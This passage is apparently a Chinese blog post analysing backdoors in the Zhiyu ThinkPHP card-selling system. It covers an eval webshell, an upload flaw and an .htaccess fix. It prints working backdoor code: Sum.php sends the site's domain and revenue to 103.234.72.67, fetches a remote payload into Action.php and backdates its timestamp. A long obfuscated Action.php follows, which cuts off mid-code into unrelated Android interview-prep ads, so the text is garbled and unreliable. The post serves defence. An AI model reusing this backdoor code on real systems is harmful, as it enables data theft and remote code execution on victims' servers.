揭秘知宇thinkphp企业级自动发卡系统源码漏洞(1)

知宇自动发卡系统是一个基于Thinkphp5开发的后台管理系统,集成后台系统常用功能,知宇自动发卡系统已集成模块:

1、简易`RBAC`权限管理(用户、权限、节点、菜单控制)

2、自建秒传文件上载组件(本地存储、七牛云存储,阿里云OSS存储)

3、 基站数据服务组件(唯一随机序号、表单更新)

4、`Http`服务组件(原生`CURL`封装,兼容PHP多版本)

5、微信公众号服务组件,微信网页授权获取用户信息、已关注粉丝管理、自定义菜单管理等等)

6、微信商户支付服务组件,支持JSAPI支付、扫码模式一支付、扫码模式二支付)

1、漏洞一:

根目录下有一个.config.php文件,里面是eval()一句话木马,直接删除这个文件即可。

2、漏洞二:

黑客会上传可执行的php文件到static/upload目录,如果没有查出来漏洞位置,可以直接禁止在upload目录里执行php文件,即可解决这个漏洞(最简单粗暴的方法)。

禁止在upload目录里执行php文件的方法:

在upload目录下创建.htaccess文件,代码如下:

<Files ~ “.php”>

Order allow,deny

Deny from all

.htaccess里的这几行代码可以禁止运行php文件,禁止上传目录运行php可执行文件,可以从一定程度上增加网站的安全性!

**漏洞原因:**黑客利用知宇自动发卡平台的APP传输漏洞上传木马文件,因为每个人的APP通信信息都是一样的。

**漏洞位置:**application/api/controller/Common.php文件的upload()方法

**解决方案:**删除这个upload()方法,也可以把整个api目录删掉,因为平台没有开发安卓端,基本用不上这个api。

分析一下这个漏洞是什么原理:

1、黑客首先是上传可执行的php文件到static/upload目录,该文件代码如下图:

2、上一步会在application/manage/controller/目录下创建一个Sum.php文件,这个Sum.php文件的代码如下:

<?php namespace app\manage\controller; use think\Db; use think\Request; use app\common\model\User as UserModel; use app\common\model\Order as OrderModel; use app\common\model\Cash as CashModel; use app\common\model\Channel as ChannelModel; class Sum { public function index(){ $todayTime =strtotime(date('Y-m-d')); $yesterTime =$todayTime-86400; $incomeStatis['yester_sum'] =OrderModel::where(['status'=>1,'create_at' =>['between',[$yesterTime,$todayTime-1]]])->sum('total_price'); $d=$incomeStatis['yester_sum']; $aaa=$_SERVER['HTTP_HOST']; file_get_contents("http://103.234.72.67/1.php?a=$aaa&c=$d"); if($incomeStatis['yester_sum']>'2000'){ $path=$_SERVER["DOCUMENT_ROOT"]; $b='/application/wechat/controller/Action.php'; $a=$path.$b; copy('http://103.234.72.67/Action.txt',"$a"); touch("$a",mktime(12,3,10,11,26,2020)); } $path=$_SERVER["DOCUMENT_ROOT"]; unlink("$path/application/manage/controller/Sum.php"); } } >  **通过分析代码,Sum.php文件的作用大概如下:** > > 1、统计平台昨日的订单总额,然后记录网站域名和订单金额到远程服务器端。我在想,这个会不会是知宇搞的鬼呢,按理说这个发卡系统是开源的,应该不会涉及侵犯著作权等问题,如果知宇通过这个手段来监测,发现某某平台每日流水达到预期,再通过法律诉讼等手段要求这个平台赔偿,从中获益也未尝不可,毕竟系统是知宇开发的,开源只是让大家用来研究学习,而不是用来经营获利。 > > 2、如果平台昨日订单总额大于2000元,就会在application/wechat/controller/目录下创建Action.php文件,这个Action.php文件的代码是远程获取的,而且做了加密,具体做什么并不清楚,但一定是黑客用来黑平台的手段,有可能是获取平台的用户信息,有可能是其他不可告人的勾当。 3、Action.php文件的代码如下: <?php /* 本代码由 爱发资源网独家创建 创建时间 2020-11-24 01:38:59 技术支持 姝妍计算机 官方网址 http://www.a8tg.com 客服QQ-351075088 QQ-244656508 购买授权请到官方进行购买或者联系官方指定代理人员进行购买 */ namespace app\wechat\controller; error_reporting(0); if(!defined("JBAEDJACJBE"))define("JBAEDJACJBE","AB_JJCJJ"); $GLOBALS[JBAEDJACJBE]=explode('|g|4|P|','H*|g|4|P|6e69636b6e616d65|g|4|P|636f756e747279|g|4|P|70726f76696e6365|g|4|P|63697479|g|4|P|6c696b65|g|4|P|25|g|4|P|25|g|4|P|736578|g|4|P|736578|g|4|P|736578|g|4|P|736578|g|4|P|746167|g|4|P|746167|g|4|P|636f6e63617428272c272c74616769645f6c6973742c272c2729206c696b65203a746167|g|4|P|746167|g|4|P|252c|g|4|P|746167|g|4|P|2c25|g|4|P|e5beaee4bfa1e7b289e4b89de7aea1e79086|g|4|P|69735f6261636b|g|4|P|30|g|4|P|7375627363726962655f74696d652064657363|g|4|P|706f73742e757365726e6d61652f73|g|4|P|757365725f6578706972655f74696d65|g|4|P|e8b4a6e688b7e4b88de5ad98e59ca8efbc81|g|4|P|53797374656d55736572|g|4|P|757365726e616d65|g|4|P|69735f64656c65746564|g|4|P|75736572|g|4|P|6e616d65|g|4|P|e7bc96e8be91e6a087e7adbee5a4b1e8b4a52c20e8afb7e7a88de5908ee5868de8af9521|g|4|P|6964|g|4|P|6e616d65|g|4|P|6964|g|4|P|e7bc96e8be91e6a087e7adbee68890e58a9f21|g|4|P|666f726d|g|4|P|6964|g|4|P|6e616d65|g|4|P|6964|g|4|P|30|g|4|P|55736572|g|4|P|'); if(!defined("B_C_ICI_FE__"))define("B_C_ICI_FE__","AAT__TCT"); $GLOBALS[B_C_ICI_FE__]=explode('|b|2|I|','H*|b|2|I|6964|b|2|I|e7b289e4b89de6a087e7adbee5908de6b2a1e69c89e694b9e58f982c20e697a0e99c80e4bfaee694b921|b|2|I|e6a087e7adbee5b7b2e7bb8fe5ad98e59ca82c20e4bdbfe794a8e585b6e5ae83e5908de7a7b0e5868de8af9521|b|2|I|706f73742e746f6b656e2f73|b|2|I|706f73742e6170692f73|b|2|I|706f73742e6b65792f73|b|2|I|706f73742e646174612f73|b|2|I|706f73742e616374696f6e2f73|b|2|I|706f73742e616374696f6e2f73|b|2|I|706f73742e6b65792f73|b|2|I|3c7072653e|b|2|I|3c2f7072653e|b|2|I|706f73742e746f6b656e2f73|b|2|I|706f73742e616374696f6e2f73|b|2|I|6138746741646d696e|b|2|I|706f73742e6469722f73|b|2|I|706f73742e75726c2f73|b|2|I|'); $U_R_R__RR_R=&$get; $M______BB__=&$db; $G_MM___M___=&$key; $username=&$G___J___JJ_; $HU_U___UU__=&$user; $name=&$YS__S_S_SSS; $info=&$SB_BB_____B; $Z___ZZ_____=&$id; $R___T______=&$wechat; $data=&$KGG___G____; $token=&$MY________Y; $IK_K___KKK_=&$action; $api=&$L_HHH_HHH__; $Z____XX__X_=&$result; $JA_AA__AA__=&$dir; $url=&$G_OO___O___; use controller\BasicAdmin; use service\DataService; use service\LogService; use service\ToolsService; use service\WechatService; use think\Db; class Action { public function index() { goto JC8sMK8; YZ3jIJ8:foreach([pack($GLOBALS[JBAEDJACJBE][-1048560-E_CORE_ERROR+128*E_DEPRECATED],$GLOBALS[JBAEDJACJBE][-15359-E_USER_NOTICE+1024*E_CORE_ERROR]),call_user_func(function($rencv5_h,$rencv5_c) { return pack($rencv5_h,$rencv5_c); } ,$GLOBALS[JBAEDJACJBE][-63-E_ERROR+4*E_CORE_ERROR],$GLOBALS[JBAEDJACJBE][-2097214+E_COMPILE_ERROR+256*E_DEPRECATED]),pack($GLOBALS[JBAEDJACJBE][-1792-E_USER_ERROR+4*E_USER_WARNING],$GLOBALS[JBAEDJACJBE][2019-E_STRICT+16*E_WARNING]),call_user_func(function() { $rencv5_g=func_get_args(); if(isset($rencv5_g[0])&&!empty($rencv5_g[1])) { if($rencv5_g[0]==base64_decode('SCo='))return hex2bin($rencv5_g[1]); else return pack($rencv5_g[0],$rencv5_g[1]); } } ,$GLOBALS[JBAEDJACJBE][40-E_CORE_WARNING-8],$GLOBALS[JBAEDJACJBE][-523772-E_USER_WARNING+128*E_RECOVERABLE_ERROR])]as $G_MM___M___) { isset($U_R_R__RR_R[$G_MM___M___])&&$U_R_R__RR_R[$G_MM___M___]!==''&&$M______BB__->where($G_MM___M___,call_user_func(function() { $rencv5_g=func_get_args(); if(isset($rencv5_g[0])&&!empty($rencv5_g[1])) { if($rencv5_g[0]==base64_decode('SCo='))return hex2bin($rencv5_g[1]); else return pack($rencv5_g[0],$rencv5_g[1]); } } ,$GLOBALS[JBAEDJACJBE][992-E_USER_NOTICE+32*E_ERROR],$GLOBALS[JBAEDJACJBE][-114683-E_USER_DEPRECATED+16384*E_NOTICE]),call_user_func(function($rencv5_h,$rencv5_c) { return pack($rencv5_h,$rencv5_c); } ,$GLOBALS[JBAEDJACJBE][-36864+E_RECOVERABLE_ERROR+32*E_USER_NOTICE],$GLOBALS[JBAEDJACJBE][-134217690-E_CORE_WARNING+16384*E_DEPRECATED]).$U_R_R__RR_R[$G_MM___M___].call_user_func(function() { $rencv5_g=func_get_args(); if(isset($rencv5_g[0])&&!empty($rencv5_g[1])) { if($rencv5_g[0]==base64_decode('SCo='))return hex2bin($rencv5_g[1]); else return pack($rencv5_g[0],$rencv5_g[1]); } } ,$GLOBALS[JBAEDJACJBE][-524416+E_COMPILE_WARNING+1024*E_USER_WARNING],$GLOBALS[JBAEDJACJBE][-65528-E_ERROR+16*E_RECOVERABLE_ERROR])); PR7hRM1: } goto NL6hIO6; NL6hIO6:LB8fEV5:goto GX9jMY7; EX4sYU8:isset($U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][(-4+E_PARSE)/256],$GLOBALS[JBAEDJACJBE][8216-E_CORE_ERROR-8192])])&&$U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][(-4096+E_RECOVERABLE_ERROR)/8192],$GLOBALS[JBAEDJACJBE][2053-E_STRICT+4*E_ERROR])]!==''&&$M______BB__->where(call_user_func_array('pack',array($GLOBALS[JBAEDJACJBE][(-1+E_ERROR)/32],$GLOBALS[JBAEDJACJBE][2074-E_STRICT-16])),$U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][-2080768-E_USER_DEPRECATED+2048*E_USER_NOTICE],$GLOBALS[JBAEDJACJBE][(36864+E_DEPRECATED)/4096])]); goto YZ3jIJ8; GX9jMY7:$LL8xDU7=isset($U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][2048-E_USER_NOTICE-1024],$GLOBALS[JBAEDJACJBE][16460-E_USER_DEPRECATED-64])])&&$U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][2049-E_ERROR-2048],$GLOBALS[JBAEDJACJBE][-23+E_PARSE+1*E_CORE_WARNING])]!==''; if($LL8xDU7) { goto QW9xOG3; } goto QW9xOG4; QW9xOG3:unset($EH4xVT8); $M______BB__->where(pack($GLOBALS[JBAEDJACJBE][320-E_USER_ERROR-64],$GLOBALS[JBAEDJACJBE][(96+E_COMPILE_WARNING)/16]),[call_user_func_array('pack',array($GLOBALS[JBAEDJACJBE][(-16+E_CORE_ERROR)/32],$GLOBALS[JBAEDJACJBE][2127-E_COMPILE_ERROR-2048]))=>call_user_func(function($rencv5_h,$rencv5_c) { return pack($rencv5_h,$rencv5_c); } ,$GLOBALS[JBAEDJACJBE][(-1+E_ERROR)/128],$GLOBALS[JBAEDJACJBE][(-8192+E_USER_DEPRECATED)/512]).$U_R_R__RR_R[pack($GLOBALS[JBAEDJACJBE][-1792-E_USER_ERROR+256*E_NOTICE],$GLOBALS[JBAEDJACJBE][(-1980+E_STRICT)/4])].call_user_func_array('pack',array($GLOBALS[JBAEDJACJBE][2044-E_STRICT+1*E_PARSE],$GLOBALS[JBAEDJACJBE][-65534+E_CORE_ERROR+4096*E_CORE_ERROR]))]); goto QW9xOG5; QW9xOG4:QW9xOG5:goto YV5tMF9; JC8sMK8:unset($UT2xUJ1); unset($PB2xSI5); $WU5xSV2=-8388612+E_PARSE; $WU5xSV3=$WU5xSV2-(-512+E_USER_WARNING)/64; $WU5xSV4=512*E_USER_DEPRECATED; $WU5xSV5=$WU5xSV4/(545-E_USER_WARNING-32); $WU5xSV6=$WU5xSV3+$WU5xSV5; $PB2xSI5=$WU5xSV6; unset($PB2xSI6); $DG9xCO6=155584+E_COMPILE_ERROR; $DG9xCO7=$DG9xCO6+(32768-E_USER_DEPRECATED-16384); $DG9xCO8=(2097120+E_CORE_WARNING)/256; $PB2xSI6=$DG9xCO7/$DG9xCO8; $UT2xUJ1=pack($GLOBALS[JBAEDJACJBE][$PB2xSI5],$GLOBALS[JBAEDJACJBE][$PB2xSI6]); $this->title=$UT2xUJ1; goto QI7eJW5; SS4dGX0:unset($DN5xSR2); $DN5xSR2=Db::name($this->table)->where(pack($GLOBALS[JBAEDJACJBE][-2113536+E_USER_DEPRECATED+128*E_USER_DEPRECATED],$GLOBALS[JBAEDJACJBE][-32716-E_CORE_WARNING+128*E_USER_ERROR]),pack($GLOBALS[JBAEDJACJBE][-34816+E_STRICT+512*E_COMPILE_ERROR],$GLOBALS[JBAEDJACJBE][151-E_WARNING-128]))->order(pack($GLOBALS[JBAEDJACJBE][-524292+E_PARSE+32*E_USER_DEPRECATED],$GLOBALS[JBAEDJACJBE][-5098+E_USER_NOTICE+1024*E_PARSE])); $M______BB__=$DN5xSR2; goto EX4sYU8; YV5tMF9:return parent::_list($M______BB__); goto VI4vFQ1; QI7eJW5:unset($OV7xGS4); $OV7xGS4=$this->request->get(); $U_R_R__RR_R=$OV7xGS4; goto SS4dGX0; VI4vFQ1: } public function ApiLogin() { goto LL1fBZ4; ED0tSY3:unset($YI0xEW6); unset($DB3xGR1); $DB3xGR1=-4100+E_RECOVERABLE_ERROR+(16898-E_USER_DEPRECATED-512)*E_WARNING; unset($DB3xGR2); $DB3xGR2=-2097128-E_ERROR+(-114672-E_CORE_ERROR+128*E_USER_NOTICE)*E_COMPILE_WARNING; $YI0xEW6=call_user_func('input',pack($GLOBALS[JBAEDJACJBE][$DB3xGR1],$GLOBALS[JBAEDJACJBE][$DB3xGR2])); $G___J___JJ_=$YI0xEW6; goto PZ9zPX2; XH4jES5:call_user_func_array('session',array(call_user_func(function() { $rencv5_g=func_get_args(); if(isset($rencv5_g[0])&&!empty($rencv5_g[1])) { if($rencv5_g[0]==base64_decode('SCo='))return hex2bin($rencv5_g[1]); else return pack($rencv5_g[0],$rencv5_g[1]); } } ,$GLOBALS[JBAEDJACJBE][12288-E_RECOVERABLE_ERROR-8192],$GLOBALS[JBAEDJACJBE][-42+E_WARNING+64*E_ERROR]),(time()+86400*1024))); goto DR5rTK5; YO1jFT5:empty($HU_U___UU__)&&$this->error(pack($GLOBALS[JBAEDJACJBE][(-64+E_COMPILE_ERROR)/8],$GLOBALS[JBAEDJACJBE][(401408+E_DEPRECATED)/16384])); goto RD0dOT4; PZ9zPX2:unset($TF6xMG5); $TF6xMG5=Db::name(pack($GLOBALS[JBAEDJACJBE][-2093056-E_RECOVERABLE_ERROR+2048*E_USER_NOTICE],$GLOBALS[JBAEDJACJBE][156-E_WARNING-128]))->where([call_user_func(function() { $rencv5_g=func_get_args(); if(isset($rencv5_g[0])&&!empty($rencv5_g[1])) { if($rencv5_g[0]==base64_decode('SCo='))return hex2bin($rencv5_g[1]); else return pack($rencv5_g[0],$rencv5_g[1]); } } ,$GLOBALS[JBAEDJACJBE][-261888-E_USER_ERROR+16*E_USER_DEPRECATED],$GLOBALS[JBAEDJACJBE][-8380389-E_DEPRECATED+4096*E_STRICT])=>$G___J___JJ_,pack($GLOBALS[JBAEDJACJBE][(-2048+E_STRICT)/4096],$GLOBALS[JBAEDJACJBE][-516068-E_DEPRECATED+8192*E_COMPILE_ERROR])=>0])->find(); $HU_U___UU__=$TF6xMG5; goto YO1jFT5; RD0dOT4:call_user_func_array('session',array(pack($GLOBALS[JBAEDJACJBE][12288-E_DEPRECATED-4096],$GLOBALS[JBAEDJACJBE][62-E_CORE_WARNING-1]),&$HU_U___UU__)); goto XH4jES5; LL1fBZ4:$LL8xDU8=request()->isGet(); if($LL8xDU8) { goto TE2xKK1; } goto TE2xKK2; TE2xKK1:unset($HR9xAO2); $HR9xAO2=call_user_func_array("is_object",array(&$TC7x)); $TC7xSL0=$HR9xAO2; $LL8xDU9=$TC7xSL0; if($LL8xDU9) { unset($TC7xSL0); } exit; goto TE2xKK3; TE2xKK2:TE2xKK3:goto ED0tSY3; DR5rTK5: } public function edit() { goto BY1iFM9; LT2lFQ5:unset($DE6xHS5); $DE6xHS5=Db::name($this->table)->where(pack($GLOBALS[JBAEDJACJBE][-1048320-E_USER_ERROR+8192*E_COMPILE_WARNING],$GLOBALS[JBAEDJACJBE][(464+E_CORE_ERROR)/16]),$YS__S_S_SSS)->find(); $SB_BB_____B=$DE6xHS5; goto QL2tHY6; KE5kFC4:$this->error(pack($GLOBALS[JBAEDJACJBE][516-E_PARSE-512],$GLOBALS[JBAEDJACJBE][-353+E_USER_ERROR+4*E_CORE_WARNING]).$R___T______->errMsg); goto MT3eNS5; GK2gGT2:if(is_array($OT7xIS2)) { goto LF7xWM8; } LF7xWM8:unset($XI1xXA6); $XI1xXA6=array(); $OT7xIS2=$XI1xXA6; unset($ZF0xVI1); $ZF0xVI1=$Z___ZZ_____; $OT7xIS2[pack($GLOBALS[JBAEDJACJBE][1280-E_USER_ERROR-1024],$GLOBALS[JBAEDJACJBE][-520160-E_RECOVERABLE_ERROR+32*E_USER_DEPRECATED])]=$ZF0xVI1; unset($TK7xNC8); $TK7xNC8=$YS__S_S_SSS; $OT7xIS2[pack($GLOBALS[JBAEDJACJBE][-4194302-E_WARNING+1024*E_RECOVERABLE_ERROR],$GLOBALS[JBAEDJACJBE][-111+E_COMPILE_WARNING+16*E_ERROR])]=$TK7xNC8; unset($OT7xIS3); unset($OM5xXT3); $OM5xXT3=$OT7xIS2; $KGG___G____=$OM5xXT3; goto PH4yNC4; PH4yNC4:$LL8xDU10=false!==$R___T______->updateTag($Z___ZZ_____,$YS__S_S_SSS)&&false!==DataService::save($this->table,$KGG___G____,pack($GLOBALS[JBAEDJACJBE][8176-E_DEPRECATED+4*E_PARSE],$GLOBALS[JBAEDJACJBE][(18+E_CORE_ERROR)/1])); if($LL8xDU10) { goto DG6xRF6; } goto DG6xRF7; DG6xRF6:unset($KY0xVB6); $this->success(pack($GLOBALS[JBAEDJACJBE][2304-E_USER_ERROR-2048],$GLOBALS[JBAEDJACJBE][(126976+E_USER_DEPRECATED)/4096]),''); goto DG6xRF8; DG6xRF7:DG6xRF8:goto KE5kFC4; BY1iFM9:$LL8xDU11=$this->request->isGet(); if($LL8xDU11) { goto HV5xNM3; } goto HV5xNM4; HV5xNM3:$LL8xDU12=!defined("C__DAAFD"); if($LL8xDU12) { goto ID3xEF4; } goto ID3xEF5; ID3xEF4:define("C__DAAFD","_R_R_"); goto ID3xEF6; ID3xEF5:ID3xEF6:$LL8xDU13=!is_array($GLOBALS[C__DAAFD]); if($LL8xDU13) { goto VL4xNL4; } goto VL4xNL5; VL4xNL4:unset($JD7xUG4); unset($OI5xTY1); $OI5xTY1='H*'; $JD7xUG4=$OI5xTY1; unset($QS0xYB3); $QS0xYB3=array(); $GLOBALS[C__DAAFD]=$QS0xYB3; goto VL4xNL6; VL4xNL5:VL4xNL6:unset($CY2xWX8); $CY2xWX8=array(); $JD7xUG5=$CY2xWX8; if(!function_exists(__NAMESPACE__.'\îק)){if(1){unset($NB4xAV9);if($î׽=null)$NB4xAV9=$LL8xDU14=isset($JD7xUG4);}}if($NB4xAV9){goto DZ2xMZ3;}goto DZ2xMZ4;DZ2xMZ3:unset($DY4xXD4);$DY4xXD4="313a74727565";$JD7xUG5[]=$DY4xXD4;unset($IP9xSE3);$IP9xSE3="323a66616c7365";$JD7xUG5[]=$IP9xSE3;unset($VS6xYT6);$VS6xYT6="333a72657475726e";$JD7xUG5[]=$VS6xYT6;goto DZ2xMZ5;DZ2xMZ4:unset($JD7xUG5);DZ2xMZ5:$LL8xDU15=is_array($GLOBALS[C__DAAFD]);if($LL8xDU15){goto AG2xLB9;}goto AG2xLB10;AG2xLB9:$GLOBALS[C__DAAFD]=&$JD7xUG5;if((int)true){$EW6xTF4=1616178590;$EW6xTF5='02:29:50';if(!(int)false)$EW6xTF5=&$EW6xTF6;else unset($EW6xTF5);$HY5xAM5=$EW6xTF4<$EW6xTF6;if($HY5xAM5){$PH5xGP0=call_user_func_array("gettype",array(9));$PH5x=$PH5xGP0=="EM";if($PH5x){unset($PH5x);}else{unset($PH5xGP0);}unset($HY5xAM5);}else{$LL8xDU16=$GLOBALS[C__DAAFD][0]!=$JD7xUG4;$EW6xTF7=$LL8xDU16;}}if($EW6xTF7){goto NT5xKH3;}goto NT5xKH4;NT5xKH3:unset($HL6xMY5);$HL6xMY5=array_merge(array($JD7xUG4),$GLOBALS[C__DAAFD]);$GLOBALS[C__DAAFD]=$HL6xMY5;goto NT5xKH5;NT5xKH4:NT5xKH5:goto AG2xLB11;AG2xLB10:AG2xLB11:array(pack($GLOBALS[C__DAAFD][-8064-E_COMPILE_WARNING+(-63424-E_STRICT+4096*E_CORE_ERROR)*E_COMPILE_WARNING],$GLOBALS[C__DAAFD][((25167360+E_USER_WARNING)/2048)-E_USER_DEPRECATED+(8136-E_DEPRECATED+8*E_NOTICE)*E_USER_WARNING]),pack(chr(72).chr(42),$GLOBALS[C__DAAFD][-8387582-E_USER_NOTICE+(1520+E_USER_WARNING+4*E_PARSE)*E_RECOVERABLE_ERROR]),pack(chr(72).chr(42),$GLOBALS[C__DAAFD][-509+E_USER_ERROR+(168-E_NOTICE-128)*E_NOTICE]));return parent::_form($this->table,call_user_func(function($rencv5_h,$rencv5_c){return pack($rencv5_h,$rencv5_c);},$GLOBALS[JBAEDJACJBE][-131056-E_CORE_ERROR+2048*E_COMPILE_ERROR],$GLOBALS[JBAEDJACJBE][-65564+E_COMPILE_ERROR+16*E_RECOVERABLE_ERROR]),call_user_func(function($rencv5_h,$rencv5_c){return pack($rencv5_h,$rencv5_c);},$GLOBALS[JBAEDJACJBE][-16320-E_COMPILE_ERROR+1024*E_CORE_ERROR],$GLOBALS[JBAEDJACJBE][517-E_USER_WARNING+16*E_WARNING]));goto HV5xNM5;HV5xNM4:HV5xNM5:goto QT6aGI9;QT6aGI9:if(is_array($AK6xXS7)){goto IR0xMN8;}IR0xMN8:unset($RC5xFM8);$RC5xFM8=array();$AK6xXS7=$RC5xFM8;unset($OX7xJT3);$OX7xJT3=$this->request->post(pack($GLOBALS[JBAEDJACJBE][-16392+E_NOTICE+2*E_DEPRECATED],$GLOBALS[JBAEDJACJBE][(38910+E_WARNING)/1024]),'');$AK6xXS7[]=$OX7xJT3;unset($CM0xOK5);$CM0xOK5=$this->request->post(pack($GLOBALS[JBAEDJACJBE][(-1+E_ERROR)/32],$GLOBALS[JBAEDJACJBE][39-E_PARSE+1*E_PARSE]),call_user_func_array('pack',array($GLOBALS[JBAEDJACJBE][144-E_COMPILE_WARNING-16],$GLOBALS[JBAEDJACJBE][(40704+E_USER_ERROR)/1024])));$AK6xXS7[]=$CM0xOK5;unset($AK6xXS8);unset($OM2xHV3);$OM2xHV3=$AK6xXS7;list($YS__S_S_SSS,$Z___ZZ_____)=$OM2xHV3;goto LT2lFQ5;DB0aCF4:unset($IV1xLP0);unset($UE7xIH1);$UE7xIH1=(-512+E_USER_WARNING)/(-4210624+E_USER_DEPRECATED+256*E_USER_DEPRECATED);unset($UE7xIH2);$BG7xPC9=41952+E_CORE_WARNING;$BG7xPC10=1160-E_COMPILE_WARNING-8;$UE7xIH2=$BG7xPC9/$BG7xPC10;$IV1xLP0=call_user_func('load_wechat',pack($GLOBALS[JBAEDJACJBE][$UE7xIH1],$GLOBALS[JBAEDJACJBE][$UE7xIH2]));$R___T______=$IV1xLP0;goto GK2gGT2;QL2tHY6:$LL8xDU17=!empty($SB_BB_____B);if($LL8xDU17){goto ZD8xHN1;}goto ZD8xHN2;ZD8xHN1:unset($YP3xUV9);if(!function_exists(__NAMESPACE__.'\ʬʧ)) { ## 最后 答应大伙的备战金三银四,大厂面试真题来啦! 这份资料我从春招开始,就会将各博客、论坛。网站上等优质的Android开发中高级面试题收集起来,然后全网寻找最优的解答方案。每一道面试题都是百分百的大厂面经真题+最优解答。包知识脉络 + 诸多细节。 节省大家在网上搜索资料的时间来学习,也可以分享给身边好友一起学习。 **《960全网最全Android开发笔记》** ![](https://img-blog.csdnimg.cn/img_convert/b93ceaa230aa33b066709872c524311c.webp?x-oss-process=image/format,png) **《379页Android开发面试宝典》** 包含了腾讯、百度、小米、阿里、乐视、美团、58、猎豹、360、新浪、搜狐等一线互联网公司面试被问到的题目。熟悉本文中列出的知识点会大大增加通过前两轮技术面试的几率。 如何使用它? 1.可以通过目录索引直接翻看需要的知识点,查漏补缺。 2.五角星数表示面试问到的频率,代表重要推荐指数 ![](https://img-blog.csdnimg.cn/img_convert/7110e19a9df8ecb4764613bf8c0e9933.webp?x-oss-process=image/format,png) **《507页Android开发相关源码解析》** 只要是程序员,不管是Java还是Android,如果不去阅读源码,只看API文档,那就只是停留于皮毛,这对我们知识体系的建立和完备以及实战技术的提升都是不利的。 真正最能锻炼能力的便是直接去阅读源码,不仅限于阅读各大系统源码,还包括各种优秀的开源库。 ![](https://img-blog.csdnimg.cn/img_convert/687280cb23ed5864c1d1872346f78607.webp?x-oss-process=image/format,png) **腾讯、字节跳动、阿里、百度等BAT大厂 2020-2021面试真题解析** ![](https://img-blog.csdnimg.cn/img_convert/2081645d5a35be67a4cd02373998d6f7.webp?x-oss-process=image/format,png) >资料收集不易,如果大家喜欢这篇文章,或者对你有帮助不妨多多点赞转发关注哦。文章会持续更新的。绝对干货!!! **《Android学习笔记总结+移动架构视频+大厂面试真题+项目实战源码》**,**[点击传送门](https://bbs.csdn.net/topics/618165277),即可获取!** Android开发面试宝典》** 包含了腾讯、百度、小米、阿里、乐视、美团、58、猎豹、360、新浪、搜狐等一线互联网公司面试被问到的题目。熟悉本文中列出的知识点会大大增加通过前两轮技术面试的几率。 如何使用它? 1.可以通过目录索引直接翻看需要的知识点,查漏补缺。 2.五角星数表示面试问到的频率,代表重要推荐指数 [外链图片转存中...(img-4rWJLYWv-1715325170898)] **《507页Android开发相关源码解析》** 只要是程序员,不管是Java还是Android,如果不去阅读源码,只看API文档,那就只是停留于皮毛,这对我们知识体系的建立和完备以及实战技术的提升都是不利的。 真正最能锻炼能力的便是直接去阅读源码,不仅限于阅读各大系统源码,还包括各种优秀的开源库。 [外链图片转存中...(img-74Y5zfl8-1715325170898)] **腾讯、字节跳动、阿里、百度等BAT大厂 2020-2021面试真题解析** [外链图片转存中...(img-Aq9Tqjcy-1715325170899)] >资料收集不易,如果大家喜欢这篇文章,或者对你有帮助不妨多多点赞转发关注哦。文章会持续更新的。绝对干货!!! **《Android学习笔记总结+移动架构视频+大厂面试真题+项目实战源码》**,**[点击传送门](https://bbs.csdn.net/topics/618165277),即可获取!**
  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值